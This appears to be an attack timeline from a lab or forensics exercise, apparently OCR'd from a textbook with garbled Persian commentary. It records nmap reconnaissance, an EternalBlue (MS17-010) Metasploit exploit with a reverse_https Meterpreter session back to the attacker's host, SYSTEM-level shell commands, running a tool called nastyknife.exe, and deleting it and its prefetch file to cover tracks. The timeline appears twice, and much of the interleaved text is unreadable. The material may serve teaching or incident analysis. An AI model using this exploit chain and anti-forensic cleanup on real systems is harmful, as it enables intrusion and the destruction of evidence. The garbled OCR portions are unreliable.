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11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443
192.168.97.0/24

34 192.168.97.128 (lijue FFO gy 45 3giis0 paiive glop ol cha! b auS (5
watdeo b o 31 U8 Lol el g3 G ol (68 45 a0 42l ol @ Syl g el
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11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128

Aggressive 0S guesses: Microsoft Windows 10 1703 (92%)
(323 A¥) ek Yo josing wdlug,Sale 1 Jelepitucuns (ozled pwi=)

Gl ledolyluel (udlss jLusl )3 4y dagi b aF dwyoe dzxid ol 49 Qljyl e

i) ) 5 5 sl MS17-010 SMBVT s3listad 8 sl 5 (31250 5 6518 o)

lrdlog (39 cual jl 9d cashuS] bhuwgi jlxiall S8l sy ey o3gpe JSi 4
S e Lol pliseds] i

12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln-ms17-

010 -v 192.168.97.128

smb-vuln-ms17-010:

VULNERABLE:

Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

State: VULNERABLE

IDs: CVE:CVE-2017-0143

Risk factor: HIGH

A critical remote code execution vulnerability exists in Microsoft SMBv1

servers (ms17-010).

(Ms17-010) wdlwg,Sslo SMBVT (glayg jao 53 593 oly 51 45" (5ly2)
loygyw 53 s93 oy 1 38 sl amdsaml S b 1Sy cupd oyl reasdy
313 3¢9 (Ms17-010) widlwg ,Ssle SMBV1

sl 4 gopi byl (192.168.97.128 s Pl (9399 )J.UWT = TE V- I gV
wgl:.»f' aQ by)a eleMb| ob.n.h: Q L,.Ls Ls‘.h:ulc)s dod wledbl fS A»SL’A u.sg.b.».S'
3g) 395 o el 39
12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) >
exploit against 192.168.97.128 on TCP port 445 with the following payload

option: (windows/x64/meterpreter/reverse_https) and a locally listening

port of 443
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[+] 192.168.97.128:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] Meterpreter session 1 opened (192.168.96.4:443 -> 192.168.97.128:63687)

Gupiawd 3l G Ol aS cwl Sileladl @y bgyye (Sildae glaculaly ga=s coowd

SleMl S 4 535 sl sl yg3 oly s b Jals welel il ol £958 5 w350 ol
.LU.S(_,A QSAS)S.) ol) biso U‘"I o)l.g)é cwlie (g

12:15 PM 8/19/2018 on 192.168.97.128 meterpreter >getuid
Server username: NT AUTHORITY\SYSTEM
4 593 oly caghust @zl Gub il 5 el Gupes ahw 0asS akie cdlasl ol
3 bl (5950 uyiwd b (gl Gu dy 3580 51 e LT 4SS0l g ol cuws

12:16 PM 8/19/2018 on 192.168.97.128 meterpreter > sysinfo

meterpreter > sysinfo

Computer : DOVREGUBBEN

OS : Windows 10

Architecture : x64

System Language : en_US

Domain : TROLLHOME

Logged On Users : 2

Meterpreter : x64/windows
oz §) 3535 ol imy (AT al 3 (gakadsl lams leMbl laadlasly ol
slasi g el I8l bocaskust 5 byl Gop p oS Jolepium (595 03 wuai ol
pasdie JLis 4 Ll el oS ()lS 93 3929 43 dzgi by alosd @ik Yy & GillS
ety el leMbl Gl)lS iz Ylatinl eigo ol 13 05z 18L L (35 pwesl 035
Sl S sl b sl 53 byl st 30BT et (595 @2lee 98> I 5 4l
dolsl aiahd ol bl 4 Glxe e glaployd I osliiul b a2y g 1S 50 sl gy

RSN R TP
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12:17 PM 8/19/2018 on 192.168.97.128 meterpreter > shell

Process 1775 created.

12:18 PM 8/19/2018 on 192.168.97.128 query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>Administrator console 1 Active none 8/19/2018 12:05 PM

ool byl i 43399 9wl Jlad ot 53 oroesl S &S 30 L gloyd
oS 39d00 (atniie raicned sl S @90 03 2l CusliuST o ilej plen s Loy
B Sy b 1 £3890 ol Sl g I 8 IS cumdy 53 g sl Jlad oo
el wilgice Vb3l g @l slacalil el 38550 ctugw 53 collad gly Josd
s sl aidls ylai )3 1y iS5 ol Adoness ulliy 258b 1SS Glo ool 5 eaal s @
ol & A8l by 3 2l Syl sedioe sl j3519) Gl Silae Cangime 4SSl 4 dz gl
il s p36 e 039 5 oloj 2 Wlgie g9be
e cunz ol fuli g el Wiz Bun i I oS B8 e pasie Dbyl e
L 3ty ot 31 g ST (3LeSy (sl Dl @il (1S 5 (Hyllas (slacedlad (ls bl
oloj il anils lacadled aods s (Sl glacasyzss jI S b slas g8 4 jLs (5
o s Gl o slacalles baplojlo 1 (55l 35 30ls pge eleVbl ales ;I Gan
Weo .yl wloss wangimo Glidl 4 4293 b pogad 4 Sl lidw glaglSe j3 (glesls
S sl syl AWS (glayuodS 53 oBws sz ljme Koyl 45 w8y o el (Koo
andls lai s 1y aisS ol b byl bl Jledpd piunw 55l olej 9 gl ploj cuz
il
12:20 PM 8/19/2018 on 192.168.97.128 time
The current time is: 12:20:22.12

Syl 3155 3925 (6 3Ktz gl piacs 43 alas ()loj § piiacsun loj s 45 el 5]
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12:23 PM 8/19/2018 on 192.168.97.128 tasklist

Image Name PID Session Name Session# Mem Usage
System Idle Process 0 Services 0 8K
System 4 Services 0 140 K
Registry 88 Services 0 8,692 K
smss.exe 328 Services 0 992 K
csrss.exe 444 Services 0 4,644 K
csrss.exe 520 Console 1 4,540 K
wininit.exe 540 Services 0 5,884 K
winlogon.exe 584 Console 1 9,380 K
services.exe 656 Services 0 8,472 K
Isass.exe 672 Services 0 14,968 K
svchost.exe 792 Services 0 3,556 K
cmd.exe 1775 Services 0 27,376 K
dwm.exe 516 Console 1 88,240 K
tasklist.exe 3688 Console 1 7,476
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12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano
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Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 980
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1536 0.0.0.0:0 LISTENING 540
TCP 0.0.0.0:1537 0.0.0.0:0 LISTENING 1332
TCP 0.0.0.0:1538 0.0.0.0:0 LISTENING 1400
TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:1540 0.0.0.0:0 LISTENING 2660
TCP 0.0.0.0:1541 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:1640 0.0.0.0:0 LISTENING 8428
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5480
TCP 169.254.105.111:139 0.0.0.0:0 LISTENING 4
TCP 192.168.97.128:139 0.0.0.0:0 LISTENING 4
TCP 192.168.97.128:1719 192.168.96.4:443 ESTABLISHED 3160
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C:\windows\system32\nastyknife.exe 12:26 PM 8/19/2018 on 192.168.97.128 dir
8/19/2018 12:25 PM 27 ,648 nastyknife.exe
1 File(s) 27 ,648 bytes
12:27 PM 8/19/2018 on 192.168.97.128 C:\windows\system32\nastyknife.exe
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12:43 PM 8/19/2018 on 192.168.97.128 del C:\windows\system32\nastyknife.exe

12:44 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe
File Not Found
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12:45 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch

08/19/2018 12:07 PM 14,645 NASTYKNIFE.pf

(oS (LS 1y losgs il @y glayl ol by Tk

12:47 PM 8/19/2018 on 192.168.97.128 del C:\windows\prefetch\nastyknife.pf
12:48 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch\nastyknife.pf
File Not Found
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11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443
192.168.97.0/24

11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128
Aggressive 0S guesses: Microsoft Windows 10 1703 (92%)

12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln-ms17-
010 -v 192.168.97.128

smb-vuln-ms17-010:

VULNERABLE:

Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE

IDs: CVE:CVE-2017-0143

Risk factor: HIGH

A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) >
exploit against 192.168.97.128 on TCP port 445 with the following payload
option: (windows/x64/meterpreter/reverse_https) and a locally listening

port of 443

[+] 192.168.97.128:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!

[*] Meterpreter session 1 opened (192.168.96.4:443 -> 192.168.97.128:63687)
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12:15 PM 8/19/2018 on 192.168.97.128 meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
12:16 PM 8/19/2018 on 192.168.97.128 meterpreter > sysinfo

meterpreter > sysinfo

Computer : DOVREGUBBEN

0S : Windows 10

Architecture : x64

System Language : en_US

Domain : TROLLHOME

Logged On Users : 2

Meterpreter : x64/windows

12:17 PM 8/19/2018 on 192.168.97.128 meterpreter > shell
Process 1775 created.

12:18 PM 8/19/2018 on 192.168.97.128 query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>Administrator console 1 Active none 8/19/2018 12:05 PM
12:20 PM 8/19/2018 on 192.168.97.128 time

The current time is: 12:20:22.12

12:23 PM 8/19/2018 on 192.168.97.128 tasklist
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Image Name PID Session Name Session# Mem Usage
System Idle Process 0 Services 0 8 K
System 4 Services 0 140 K

Registry 88 Services 0 8,692 K

smss.exe 328 Services 0 992 K

csrss.exe 444 Services 0 4,644 K
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csrss.exe 520 Console 1 4,540 K
wininit.exe 540 Services 0 5,884 K
winlogon.exe 584 Console 1 9,380 K
services.exe 656 Services 0 8,472 K
Isass.exe 672 Services 0 14,968 K
svchost.exe 792 Services 0 3,556 K
cmd.exe 1775 Services 0 27,376 K
dwm.exe 516 Console 1 88,240 K
tasklist.exe 3688 Console 1 7,476

12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano

Jled eyl

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 980
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1536 0.0.0.0:0 LISTENING 540
TCP 0.0.0.0:1537 0.0.0.0:0 LISTENING 1332
TCP 0.0.0.0:1538 0.0.0.0:0 LISTENING 1400
TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:1540 0.0.0.0:0 LISTENING 2660
TCP 0.0.0.0:1541 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:1640 0.0.0.0:0 LISTENING 8428
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5480
TCP 169.254.105.111:139 0.0.0.0:0 LISTENING 4
TCP 192.168.97.128:139 0.0.0.0:0 LISTENING 4
TCP 192.168.97.128:1719 192.168.96.4:443 ESTABLISHED 3160

12:26 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe
8/19/2018 12:25 PM 27,648 nastyknife.exe

1 File(s) 27,648 bytes

12:27 PM 8/19/2018 on 192.168.97.128 C:\windows\system32\nastyknife.exe
12:43 PM 8/19/2018 on 192.168.97.128 del C:\windows\system32\nastyknife.exe
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12:44 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe

File Not Found

12:45 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch

08/19/2018 12:27 PM 14,645 NASTYKNIFE.pf

12:47 PM 8/19/2018 on 192.168.97.128 del C:\windows\prefetch\nastyknife.pf
12:48 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch\nastyknife.pf
File Not Found

12:51 PM 8/19/2018 off target
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